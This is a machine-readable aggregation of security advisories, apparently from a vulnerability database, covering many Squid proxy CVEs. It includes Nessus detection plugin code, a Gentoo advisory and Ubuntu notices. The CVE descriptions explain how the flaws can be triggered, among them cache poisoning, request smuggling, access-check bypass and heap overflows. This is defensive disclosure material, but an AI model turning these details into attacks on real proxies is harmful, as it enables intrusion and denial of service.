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An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.\n (CVE-2019-12521)\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost. (CVE-2019-12523)\n\n - An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\n - An issue was discovered in Squid 3.3.9 through 3.5.28 and 4.x through 4.7. When Squid is configured to use Digest authentication, it parses the header Proxy-Authorization. It searches for certain tokens such as domain, uri, and qop. Squid checks if this token's value starts with a quote and ends with one. If so, it performs a memcpy of its length minus 2. Squid never checks whether the value is just a single quote (which would satisfy its requirements), leading to a memcpy of its length minus 1. (CVE-2019-12525)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap. (CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.10. It allows a crafted FTP server to trigger disclosure of sensitive information from heap memory, such as information associated with other users' sessions or non- Squid processes. (CVE-2019-12528)\n\n - An issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode.\n uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The length is then used to start decoding the string. There are no checks to ensure that the length it calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the display of usernames on error pages. (CVE-2019-12529)\n\n - The cachemgr.cgi web module of Squid through 4.7 has XSS via the user_name or auth parameter.\n (CVE-2019-13345)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks; any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme. (CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.\n (CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon. (CVE-2019-18678)\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.\n (CVE-2019-18679)\n\n - Squid before 4.9, when certain web browsers are used, mishandles HTML in the host (aka hostname) parameter to cachemgr.cgi. (CVE-2019-18860)\n\n - An issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials). (CVE-2020-11945)\n\n - An issue was discovered in Squid 5.x before 5.0.3. Due to an Incorrect Synchronization, a Denial of Service can occur when processing objects in an SMP cache because of an Ipc::Mem::PageStack::pop ABA problem during access to the memory page/slot management list. (CVE-2020-14059)\n\n - An issue was discovered in http/ContentLengthInterpreter.cc in Squid before 4.12 and 5.x before 5.0.3. A Request Smuggling and Poisoning attack can succeed against the HTTP cache. The client sends an HTTP request with a Content-Length header containing +\\ - or an uncommon shell whitespace character prefix to the length field-value. (CVE-2020-15049)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect input validation, it can interpret crafted HTTP requests in unexpected ways to access server resources prohibited by earlier security filters.\n (CVE-2020-8449)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect buffer management, a remote client can cause a buffer overflow in a Squid instance acting as a reverse proxy. (CVE-2020-8450)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect input validation, the NTLM authentication credentials parser in ext_lm_group_acl may write to memory outside the credentials buffer. On systems with memory access protections, this can result in the helper process being terminated unexpectedly. This leads to the Squid process also terminating and a denial of service for all clients using the proxy.\n (CVE-2020-8517)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-06-10T00:00:00", "type": "nessus", "title": "SUSE SLES11 Security Update : squid3 (SUSE-SU-2020:14460-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-14059", "CVE-2020-15049", "CVE-2020-8449", "CVE-2020-8450", "CVE-2020-8517"], "modified": "2022-05-09T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:squid3", "cpe:/o:novell:suse_linux:11"], "id": "SUSE_SU-2020-14460-1.NASL", "href": "https://www.tenable.com/plugins/nessus/150657", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n#\n# The package checks in this plugin were extracted from\n# SUSE update advisory SUSE-SU-2020:14460-1. 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It allows a crafted FTP server to trigger disclosure of\n sensitive information from heap memory, such as information associated with other users' sessions or non-\n Squid processes. (CVE-2019-12528)\n\n - An issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When\n Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode.\n uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The\n length is then used to start decoding the string. There are no checks to ensure that the length it\n calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An\n attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the\n display of usernames on error pages. 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Access to these package security updates require\\n' +\n 'a paid SUSE LTSS subscription.\\n';\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + ltss_plugin_caveat\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'squid3');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-10-18T15:05:13", "description": "The remote NewStart CGSL host, running version CORE 5.04 / MAIN 5.04, has squid packages installed that are affected by multiple vulnerabilities:\n\n - An issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. 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(CVE-2018-1000027)\n\n - An issue was discovered in Squid 3.3.9 through 3.5.28 and 4.x through 4.7. When Squid is configured to use Digest authentication, it parses the header Proxy-Authorization. It searches for certain tokens such as domain, uri, and qop. Squid checks if this token's value starts with a quote and ends with one. If so, it performs a memcpy of its length minus 2. Squid never checks whether the value is just a single quote (which would satisfy its requirements), leading to a memcpy of its length minus 1. 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It does this by making a MD5 hash of the absolute URL of the request.\n If found, it servers the request. The absolute URL can include the decoded UserInfo (username and\n password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to\n provide a username that has special characters to delimit the domain, and treat the rest of the URL as a\n path or query string. An attacker could first make a request to their domain using an encoded username,\n then when a request for the target domain comes in that decodes to the exact URL, it will serve the\n attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows\n an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - Due to incorrect string termination, Squid cachemgr.cgi 4.0 through 4.7 may access unallocated memory. On\n systems with memory access protections, this can cause the CGI process to terminate unexpectedly,\n resulting in a denial of service for all clients using it. (CVE-2019-12854)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a\n heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity\n is high due to this vulnerability occurring before normal security checks; any remote client that can\n reach the proxy port can trivially perform the attack via a crafted URI scheme. (CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because\n the appended characters do not properly interact with hostname length restrictions). Due to incorrect\n message processing, it can inappropriately redirect traffic to origins it should not be delivered to.\n (CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The\n resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content\n at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no\n effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing\n whitespace between a header name and a colon. (CVE-2019-18678)\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is\n vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the\n raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory areas to target for remote code execution attacks.\n (CVE-2019-18679)\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://linux.oracle.com/errata/ELSA-2020-4743.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected libecap, libecap-devel and / or squid packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8450\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2019-12526\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/11/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2023/09/07\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:8\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:libecap\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:libecap-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:squid\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/local_checks_enabled\");\n\n exit(0);\n}\n\n\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item('Host/OracleLinux')) audit(AUDIT_OS_NOT, 'Oracle Linux');\nvar os_release = get_kb_item(\"Host/RedHat/release\");\nif (isnull(os_release) || !pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:os_release)) audit(AUDIT_OS_NOT, 'Oracle Linux');\nvar os_ver = pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:os_release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Oracle Linux');\nos_ver = os_ver[1];\nif (! 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When receiving a request, Squid checks its cache to see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request.\n If found, it servers the request. The absolute URL can include the decoded UserInfo (username and password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to provide a username that has special characters to delimit the domain, and treat the rest of the URL as a path or query string. An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.\n (CVE-2019-12521)\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost. (CVE-2019-12523)\n\n - An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap. (CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.10. It allows a crafted FTP server to trigger disclosure of sensitive information from heap memory, such as information associated with other users' sessions or non- Squid processes. (CVE-2019-12528)\n\n - An issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode.\n uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The length is then used to start decoding the string. There are no checks to ensure that the length it calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the display of usernames on error pages. (CVE-2019-12529)\n\n - Due to incorrect string termination, Squid cachemgr.cgi 4.0 through 4.7 may access unallocated memory. On systems with memory access protections, this can cause the CGI process to terminate unexpectedly, resulting in a denial of service for all clients using it. (CVE-2019-12854)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks; any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme. (CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.\n (CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon. (CVE-2019-18678)\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.\n (CVE-2019-18679)\n\n - Squid before 4.9, when certain web browsers are used, mishandles HTML in the host (aka hostname) parameter to cachemgr.cgi. (CVE-2019-18860)\n\n - An issue was discovered in Squid before 4.12 and 5.x before 5.0.3. Due to use of a potentially dangerous function, Squid and the default certificate validation helper are vulnerable to a Denial of Service when opening a TLS connection to an attacker-controlled server for HTTPS. This occurs because unrecognized error values are mapped to NULL, but later code expects that each error value is mapped to a valid error string. (CVE-2020-14058)\n\n - An issue was discovered in http/ContentLengthInterpreter.cc in Squid before 4.12 and 5.x before 5.0.3. A Request Smuggling and Poisoning attack can succeed against the HTTP cache. The client sends an HTTP request with a Content-Length header containing +\\ - or an uncommon shell whitespace character prefix to the length field-value. (CVE-2020-15049)\n\n - Squid before 4.13 and 5.x before 5.0.4 allows a trusted peer to perform Denial of Service by consuming all available CPU cycles during handling of a crafted Cache Digest response message. This only occurs when cache_peer is used with the cache digests feature. The problem exists because peerDigestHandleReply() livelocking in peer_digest.cc mishandles EOF. (CVE-2020-24606)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect input validation, it can interpret crafted HTTP requests in unexpected ways to access server resources prohibited by earlier security filters.\n (CVE-2020-8449)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect buffer management, a remote client can cause a buffer overflow in a Squid instance acting as a reverse proxy. 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When receiving a request, Squid checks its cache to\n see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request.\n If found, it servers the request. The absolute URL can include the decoded UserInfo (username and\n password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to\n provide a username that has special characters to delimit the domain, and treat the rest of the URL as a\n path or query string. An attacker could first make a request to their domain using an encoded username,\n then when a request for the target domain comes in that decodes to the exact URL, it will serve the\n attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows\n an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in\n ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is\n parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this\n buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same\n structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.\n (CVE-2019-12521)\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is\n made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This\n causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker\n can connect to HTTP servers that only listen on localhost. (CVE-2019-12523)\n\n - An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to\n see if the request should be denied. Squid by default comes with rules to block access to the Cache\n Manager, which serves detailed server information meant for the maintainer. This rule is implemented via\n url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to\n encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based\n buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to\n ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in\n the heap. (CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.10. 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It is, therefore, affected by multiple\nvulnerabilities as referenced in the ALAS2-2023-2318 advisory.\n\n - An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to\n see if the request should be denied. Squid by default comes with rules to block access to the Cache\n Manager, which serves detailed server information meant for the maintainer. This rule is implemented via\n url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to\n encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\n - An issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When\n Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode.\n uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The\n length is then used to start decoding the string. There are no checks to ensure that the length it\n calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An\n attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the\n display of usernames on error pages. (CVE-2019-12529)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because\n the appended characters do not properly interact with hostname length restrictions). Due to incorrect\n message processing, it can inappropriately redirect traffic to origins it should not be delivered to.\n (CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The\n resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content\n at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no\n effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing\n whitespace between a header name and a colon. (CVE-2019-18678)\n\n - Squid before 4.9, when certain web browsers are used, mishandles HTML in the host (aka hostname) parameter\n to cachemgr.cgi. (CVE-2019-18860)\n\n - Squid through 4.14 and 5.x through 5.0.5, in some configurations, allows information disclosure because of\n an out-of-bounds read in WCCP protocol data. This can be leveraged as part of a chain for remote code\n execution as nobody. (CVE-2021-28116)\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://alas.aws.amazon.com/AL2/ALAS-2023-2318.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://alas.aws.amazon.com/faqs.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://alas.aws.amazon.com/cve/html/CVE-2019-12524.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://alas.aws.amazon.com/cve/html/CVE-2019-12529.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://alas.aws.amazon.com/cve/html/CVE-2019-18677.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://alas.aws.amazon.com/cve/html/CVE-2019-18678.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://alas.aws.amazon.com/cve/html/CVE-2019-18860.html\");\n script_set_attribute(attribute:\"see_also\", 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"description": "### Background\n\nSquid is a full-featured Web proxy cache designed to run on Unix systems. It supports proxying and caching of HTTP, FTP, and other URLs, as well as SSL support, cache hierarchies, transparent caching, access control lists and many other features. \n\n### Description\n\nMultiple vulnerabilities have been discovered in Squid. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nPlease review the referenced CVE identifiers for details.\n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Squid users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-proxy/squid-4.11\"", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-12T00:00:00", "type": "gentoo", "title": "Squid: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12521", "CVE-2020-11945"], "modified": "2020-05-12T00:00:00", "id": "GLSA-202005-05", "href": "https://security.gentoo.org/glsa/202005-05", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntu": [{"lastseen": "2023-12-03T20:45:28", "description": "## Releases\n\n * Ubuntu 20.04 LTS\n * Ubuntu 19.10 \n * Ubuntu 18.04 ESM\n * Ubuntu 16.04 ESM\n\n## Packages\n\n * squid \\- Web proxy cache server\n * squid3 \\- Web proxy cache server\n\nJeriko One discovered that Squid incorrectly handled certain Edge Side \nIncludes (ESI) responses. A malicious remote server could cause Squid to \ncrash, possibly poison the cache, or possibly execute arbitrary code. \n(CVE-2019-12519, CVE-2019-12521)\n\nIt was discovered that Squid incorrectly handled the hostname parameter to \ncachemgr.cgi when certain browsers are used. A remote attacker could \npossibly use this issue to inject HTML or invalid characters in the \nhostname parameter. This issue only affected Ubuntu 16.04 LTS, Ubuntu 18.04 \nLTS, and Ubuntu 19.10. (CVE-2019-18860)\n\nCl\u00e9ment Berthaux and Florian Guilbert discovered that Squid incorrectly \nhandled Digest Authentication nonce values. A remote attacker could \nuse this issue to replay nonce values, or possibly execute arbitrary code. \n(CVE-2020-11945)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-13T00:00:00", "type": "ubuntu", "title": "Squid vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12521", "CVE-2019-18860", "CVE-2020-11945"], "modified": "2020-05-13T00:00:00", "id": "USN-4356-1", "href": "https://ubuntu.com/security/notices/USN-4356-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T20:05:13", "description": "## Releases\n\n * Ubuntu 18.04 ESM\n * Ubuntu 16.04 ESM\n\n## Packages\n\n * squid3 \\- Web proxy cache server\n\nUSN-4446-1 fixed vulnerabilities in Squid. The update introduced a \nregression when using Squid with the icap or ecap protocols. This update \nfixes the problem.\n\nWe apologize for the inconvenience.\n\nOriginal advisory details:\n\nJeriko One discovered that Squid incorrectly handled caching certain \nrequests. A remote attacker could possibly use this issue to perform \ncache-injection attacks or gain access to reverse proxy features such as \nESI. (CVE-2019-12520)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly \nhandled certain URN requests. A remote attacker could possibly use this \nissue to bypass access checks. (CVE-2019-12523)\n\nJeriko One discovered that Squid incorrectly handled URL decoding. A remote \nattacker could possibly use this issue to bypass certain rule checks. \n(CVE-2019-12524)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly \nhandled input validation. A remote attacker could use this issue to cause \nSquid to crash, resulting in a denial of service. (CVE-2019-18676)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-27T00:00:00", "type": "ubuntu", "title": "Squid regression", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-18676"], "modified": "2020-08-27T00:00:00", "id": "USN-4446-2", "href": "https://ubuntu.com/security/notices/USN-4446-2", "cvss": {"score": 7.5, "vector": 